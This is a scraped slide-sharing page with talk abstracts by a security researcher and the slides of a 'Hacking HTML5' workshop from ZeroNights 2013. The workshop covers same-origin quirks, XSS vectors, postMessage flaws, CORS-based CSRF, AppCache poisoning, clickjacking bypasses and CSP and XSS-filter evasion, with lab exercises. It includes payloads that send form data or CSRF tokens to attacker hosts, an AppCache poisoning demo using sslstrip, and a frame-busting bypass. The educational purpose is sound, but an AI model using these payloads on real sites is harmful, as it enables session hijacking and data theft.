This document discusses attacking Chrome extensions through exploiting vulnerabilities in their architecture and code. It begins by explaining the components and permissions model of Chrome extensions. It then describes how to exploit vulnerabilities like DOM XSS in extensions' UI pages under the legacy v1 model. The document outlines fixes made in the v2 model but still finds ways to bypass security restrictions, such as through content script XSS. It introduces tools like XSSChEF and Mosquito for exploiting extensions. The presentation concludes by noting CSP should only be seen as a mitigation rather than prevention for extension vulnerabilities.
Html5: Something wicked this way comes (Hack in Paris)Krzysztof Kotowicz
This document discusses several HTML5-based attacks that could be used to compromise a target named Bob. It describes using filejacking to access files on Bob's computer, poisoning Bob's app cache to gain persistent access, performing silent file uploads to plant incriminating evidence, using UI redressing to trick Bob into actions, and extracting sensitive information from Bob's employer's internal sites using drag-and-drop content extraction. The document provides proof-of-concept demos and notes limitations but emphasizes that HTML5 expands attack possibilities against unaware users. It concludes by encouraging developers to implement proper defenses like X-Frame-Options to prevent framing attacks.
Krzysztof Kotowicz presented several HTML5 tricks that could be abused by attackers:
- Filejacking allows reading files from a user's system using the directory upload feature in Chrome. Sensitive files were exposed from some users.
- AppCache poisoning can be used in a man-in-the-middle attack to persist malicious payloads by tampering with a site's cache manifest file.
- Silent file upload uses cross-origin resource sharing to upload fake files without user interaction, potentially enabling CSRF attacks.
He warned that IFRAME sandboxing could facilitate clickjacking, and that drag-and-drop techniques risk exposing sensitive content across domains unless sites use X-
Creating, obfuscating and analyzing malware JavaScriptKrzysztof Kotowicz
Malware attacks on unaware Internet users' browsers are becoming more and more common. New techniques for bypassing filters used by security vendors emerge. In turn, the filters are getting better, new analyzing tools are developed - the war continues. At the presentation you will learn how crackers are trying to hamper the work of security engineers, and how reversers are overcoming those problems. Emphasis will be placed on the weaknesses of automated tools - we'll try to avoid detection by jsunpack and Capture-HPC, we'll also trick Dean Edwards' Unpacker.
Tworzenie, zaciemnianie i analiza złośliwego kodu JavaScriptKrzysztof Kotowicz
Ataki malware'u na przeglądarki nieświadomych internautów stają się coraz powszechniejsze. Wciąż powstają nowe techniki pozwalające obejść filtry stosowane przez producentów oprogramowania zabezpieczającego. Z kolei filtry są coraz lepsze, powstają też nowe narzędzia - walka trwa. Na prezentacji dowiecie się, jak włamywacze usiłują utrudnić pracę analizatorom ich kodu i jak reverserzy sobie z tym radzą. Nacisk zostanie położony na słabości narzędzi automatycznych - będziemy usiłowali uniknąć wykrycia przez jsunpack i Capture-HPC, oszukamy też popularny unpacker Deana Edwardsa.
Co to jest SQL injection i jak wyglądają współczesne ataki na serwisy? Dlaczego SQL injection jest takie groźne? Jak w praktyce obronić się przed tą luką w bezpieczeństwie i ocalić swoje dane?
SQL Injection: complete walkthrough (not only) for PHP developersKrzysztof Kotowicz
Learn what is SQL injection, how to use prepared statements, how to escape and write secure stored procedures. Many PHP projects are covered - PDO, Propel, Doctrine, Zend Framework and MDB2. Multiple gotchas included.
Kompletny przewodnik po SQL injection dla developerów PHP (i nie tylko)Krzysztof Kotowicz
W trakcie prezentacji zademonstrujemy szkody, na jesteście narażeni nie myśląc o SQL injection. Dowiecie się, jak się przed nim bronić - zarówno w teorii, jak i na konkretnych przykładach. Nauczymy się pisać bezpiecznie w PHP 5 - sprawdzimy Zend Framework i Symfony, przenalizujemy Propel, Doctrine, PDO i mdb2. Omówimy wszystkie kruczki i różnice między różnymi systemami baz danych (Oracle, MS SQL Server, MySQL) oraz nauczymy się pisać procedury składowane odporne na SQL injection.
1. VirtualBox (~4 gb needed)
shared folder - dir with upacked
zeronights.zip
NoVirtualBox?
unpack zeronights.zip
Apache + PHP
Chrome + Firefox
host root dir as
//localvictim and
//127.0.0.1
/evil dir as
//evillogin:ubuntu, pass: ?
http://10.10.0.1/
Hacking HTML5
Krzysztof Kotowicz
ZeroNights 2013
2. /whoami
• I work at SecuRing and Cure53
• I do web security research
• I present at cons (BlackHat, BRUCon, Hack
In Paris, OWASP AppSec, CONFidence, ...)
• @kkotowicz
• blog.kotowicz.net
Plan
hacks = [
"Same Origin Policy — quirks, flavors & bypasses",
"XSSing with HTML5 — twisted vectors & amazing exploits",
"Exploiting Web Messaging",
"Attacking with Cross Origin Resource Sharing",
"Targeting Client side storage and Offline Cache Poisoning",
"Using WebSockets for attacks",
"Iframe sandboxing & clickjacking",
"Bypassing Content Security Policy",
"Webkit XSS Auditor & IE Anti-XSS filter — behind the scenes",
]
3. Plan
def plan():
! general_intro()
! known = [js, xss, http, ..]
! for h in hacks:
! ! known.append(h)
! ! intro(h, short=True)
! ! attack_with(known)
Disclaimer
• Workshops highly practical
• Firebug & similar tools knowledge assumed
• Medium-to-hard tasks
• Limited time - try at home!
• Ask questions please!
• Of course - use all this for educational
purposes & doing legitimate stuff
5. Same Origin Policy
• Security model for the web
• Restrict communication between applications from different
origins
• Origin = scheme + host + port
http://example.com/document
http://example.com/other/document/here
https://example.com/document
https://www.example.com/document
http://example.com:8080/document
Same Origin Policy
• Multiple same origin policies - cookies,
DOM access, Flash, Java, XMLHttpRequest
• Different rules for policies
• Multiple quirks
6. SOP Bypass vs XSS
• SOP bypass = read / write across origins
• e.g. read DOM elements
• set cookies
•browser / specs bug
• XSS - execute code on target origin
•application bug
SOP Quirks
• Java applets
• example.com === example.net
• Shared hosting => SOP bypass
$ host example.com
example.com has address 93.184.216.119
$ host example.net
example.net has address 93.184.216.119
7. SOP Quirks
• IE - port does not matter
http://example.com:8080 == http://example.com/
• cookies: Any subdomain can set cookies to
parent domains
• microsoft.com must trust all
*.microsoft.com sites
SOP Quirks
• cookie forcing - write arbitrary cookies
•HTTPS
• Set-Cookie: admin=false; secure
• HTTP (man-in-the-middle)
• Set-Cookie: admin=true; secure
• Cookie: admin=true;
8. SOP side-channels
• window.name
• setting location
• traversing iframes
• iframe height, scrolling positions
• timing
• SVG filters - http://www.contextis.com/files/
Browser_Timing_Attacks.pdf
top.frames[1].frames[2].length
top.frames[1].frames[2].location=
<iframe name="yup.anything!you()want">
window.open('a_name')
Practice!
• http://localvictim/01-sop/1/
• alert ‘secret’ value
• http://localvictim/01-sop/2/
• detect if user is logged in or not
(x-domain)
• * http://localvictim/01-sop/1/index2.php
• alert ‘secret’ value
10. XSS in HTML5
• Interesting form based vectors:
• Send form to your server
• Change target window
• Change encoding
<form id="f">
...
<button form=f formaction=//evil.me
formtarget=...>
<button form=f type=submit>
XSS in HTML5
<form id=f action=https://benign.com>
<input name=secret>
</form>
// anywhere in the document - notice no JS!
<button form=f formaction=http://bad.ru>CLICK
</button>
11. XSS in HTML5
• Data: URIs
• Evade filters
data:[<MIME-type>][;charset=<charset>][;base64],<data>
<a href=”data:text/html,
<script>alert(1)</script>”>XSS</a>
<a href=”data:text/html;base64,
PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==”>
btoa()
XSS in HTML5
• HTML5 helps with the exploitation
• WebSockets connection with C&C
• Extract local DB, geolocation, HTML5
filesystem
•
•
// stealth mode
history.pushState('/innocent-url')
// persistence
localStorage['code']='alert(/delayed/)';
// months later
eval(localStorage['code'])
13. Web Messaging
Web browsers, for security and privacy reasons, prevent
documents in different domains from affecting
each other; that is, cross-site scripting is disallowed.
While this is an important security feature, it prevents pages
from different domains from communicating even when those
pages are not hostile.This section introduces a messaging
system that allows documents to communicate
with each other regardless of their source
domain, in a way designed to not enable cross-site
scripting attacks.
http://www.w3.org/TR/webmessaging/
Web Messaging
• ...designed not to
enable XSS
• http://html5demos.com/
postmessage2
14. Web Messaging
• client-side window-to-window
communication
• no server, no TCP traffic!
• cross domain by default
Web Messaging
<html> // my.domain
<iframe src=//other.domain/widget></iframe>
// sender
var w = frameElement.contentWindow;
var wOrigin = 'http://example.com'; // or "*"
w.postMessage('hi!', wOrigin);
// receiver
window.addEventListener("message", function(e) {
if (e.origin !== "http://example.com") {
alert('Ignoring ' + e.origin);
} else {
alert(e.origin + " said: " + e.data);
}
}, false);
15. Web Messaging
bugs
// frame could get replaced, you're sending to attacker!!!
frame.postMessage({secret:stuff}, "*");
window.addEventListener("message", function(e) {
! // no sender validation
! do_stuff_with(e.data);
! // are you kidding me??
! div.innerHTML = e.data;
}
Practice!
• http://localvictim/03-messaging/
• XSS the victim
• * hijack the contents of an email when
user enters it
16. Attacking with
Cross Origin
Resource Sharing
CORS
• Cross domain XHR, with credentials:
• cookies
• SSL/TLS client certificate
• HTTP auth credentials
• Target server decides to allow/forbid
18. CORS
• XHR request reaches the target server
• With appropriate credentials
• Can be abused for Cross Site Request
Forgery
CORS
// http://attacker.cn
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://victim.ch");
xhr.setRequestHeader("Content-Type", "text/
plain");
xhr.withCredentials = "true"; // cookies etc.
xhr.send("Anything");
19. CORS on the wire
Simple request
GET /data/ HTTP/1.1
Host: target.example
Origin: http://src.example
…
HTTP/1.1 200 OK
Date: Mon, 01 Dec 2008 00:23:53 GMT
Server: Apache/2.0.61
Access-Control-Allow-Origin: http://src.example
Content-Type: application/json
{"secret-data":xxxxxx}
CORS on the wire
preflight
OPTIONS /data/ HTTP/1.1
Host: target.example
Origin: http://src.example
Access-Control-Request-Method: POST
Access-Control-Request-Headers: X-MyHeader
…
HTTP/1.1 200 OK
Access-Control-Allow-Origin: http://src.example
Access-Control-Allow-Methods: POST, GET, OPTIONS
Access-Control-Allow-Headers: X-MyHeader
Access-Control-Max-Age: 1728000
20. CORS on the wire
preflight
POST /data/ HTTP/1.1
Host: target.example
Origin: http://src.example
Content-Type: text/xml; charset=UTF-8
Content-Length: xxx
X-MyHeader: apikey=23423423
<?xml .....
…
HTTP/1.1 200 OK
Access-Control-Allow-Origin: http://src.example
Content-Type: text/plain
ok
CORS - weaknesses
• Again, wildcards:
• Access-Control-Allow-Origin: * =
everybody can read me
• A-C-A-O: <sender-origin> is even worse
• You can use CORS to send arbitrary blind
requests (CSRF)
• What if receiver is malicious?
24. AppCache
• HTML pages can specify a manifest URL
• Manifest
• text/cache-manifest MIME type
• Lists URLs that should be fetched and
stored
<html manifest=/cache.manifest>
Man in the middle
• Eavesdrop /
modify traffic
• XSS
• session hijack
(Firesheep)
• Doesn’t last long
25. AppCache poison
1. During MITM: inject poison
2. After MITM:
• robots.txt has invalid MIME type
• poisoned page fetched from cache
• code runs until offline cache is purged
<html manifest="/robots.txt">
....<script>evil_foo()</script>
CACHE MANIFEST
CACHE:
http://victim/
NETWORK:
*
Demo!
• http://localvictim/05-offline/
• perform offline attack with sslstrip
• google-chrome
--proxy-server=http://evil:10000
• payload: alert login & password
26. Using WebSockets for attacks
WebSockets
• 2-way TCP connection from browser to
server
• bandwidth efficient
• asynchronous - no request / response
model
• available to JS
27. WebSockets
• Handshake similar to HTTP
• Optionally encrypted with TLS (wss://)
• Dumb protocol
• No user authorization
• No user authentication
WebSockets
if (window.WebSocket) {
var url = 'ws://host:port/path'
,s = new WebSocket(url);
s.onopen = function(e) {};
s.onclose = function(e) {};
s.onmessage = function(e) {
// e.data - server sent data
};
s.send('hello server!');
}
28. WebSockets security
• Attack app-level protocols
• look for DoS, auth flaws
• Sometimes plain TCP services are tunneled over
WebSockets
• You can attack servers with:
• browser - xss
• browser - third party website
• custom client
Demo!
• cd /home/ubuntu/Desktop/remote/06-
websockets/websockify-master
• ./run.sh
• http://localvictim/06-websockets/
• login into ws://localvictim:9999
user ‘admin’
• * extract flag from admin home dir
29. Iframe sandboxing & clickjacking
Clickjacking
• You all know it.
• Don’t get framed
• Lots of websites use:
if (self !== top) {
! top.location = self.location;
}
30. Clickjacking - bypass
// evil framing victim wanting to jump out of frame
var kill_bust = 0
window.onbeforeunload = function(){kill_bust++};
setInterval(function() {
if (kill_bust > 0) {
kill_bust -= 2;
top.location = '204.php';
}}, 1);
// basically, a race condition on top reload
Clickjacking w/ HTML5
• IFRAME sandbox restricts what a frame can
do
• no allow-top-navigation =>
top.location.href = .... fails
<iframe src="http://victim.com" sandbox="
allow-forms
allow-scripts" />
32. CSP
• whitelist content on your website with
HTTP headers e.g.
• Mitigate XSS by forbidding inline scripting
• Only allow images from your CDN
• Only allow XHR to your API server
CSP
Content-Security-Policy:
default-src: 'none';
style-src: https://my.cdn.net;
script-src: 'self' https://ssl.google-analytics.com;
img-src: 'self' https://images.cdn.net;
report-uri: https://my.com/violations
33. CSP
• It’s XSS mitigation, XSS is still possible
via obscure vectors
• <iframe src=”filesystem://...>
• Chrome Extensions
• JSONP
CSP
• You can do much even without XSS
• http://lcamtuf.coredump.cx/postxss/
• content extraction - unclosed elements:
<img src=’..........<something>......’<else>
• other - http://ruxcon.org.au/assets/slides/
CSP-kuza55.pptx
34. CSP
• Still fresh concept & rapid development
• Fresh scary bugs
• https://bugzilla.mozilla.org/show_bug.cgi?
id=886164
•
Practice!
• http://localvictim/08-csp/1.php
• send CSRF token to //evil
• * http://localvictim/08-csp/2.php
• XSS (Firefox). If in Chrome, contact me ;)
35. Browser XSS filters
behind the scenes
Browser XSS filters
• Detect dangerous patterns in HTTP
request parameters (GET/POST)
• Observe for reflection in HTTP response
• Neutralize injection or block entire page
• X-Xss-Protection: 0|1
37. Browser XSS filters
Chrome
• complex rules, discovers different contexts,
tries to decode etc.
• http://src.chromium.org/viewvc/blink/trunk/
Source/core/html/parser/XSSAuditor.cpp?
revision=HEAD&view=markup
• Bypasses every other month
Browser XSS filters
tricks
• Use to disable benign scripts
(e.g. framebusters)
• Only GET / POST matched => use
cookies
• Multiple param injections = you always
win
38. Browser XSS filters
ASP.NET tricks
• http://soroush.secproject.com/blog/
2012/06/browsers-anti-xss-methods-in-asp-
classic-have-been-defeated/
• concatenation: input1=a&input1=b => a,b
• truncation:anything after %00 ignored
• transliteration: %u0117 => ė => e
Practice!
• http://localvictim/09-antixss/1.php
• * http://localvictim/09-antixss/irl.php
• * http://www.sdl.me/xssdemo/getxss.asp
• XSS’em all (Chrome)!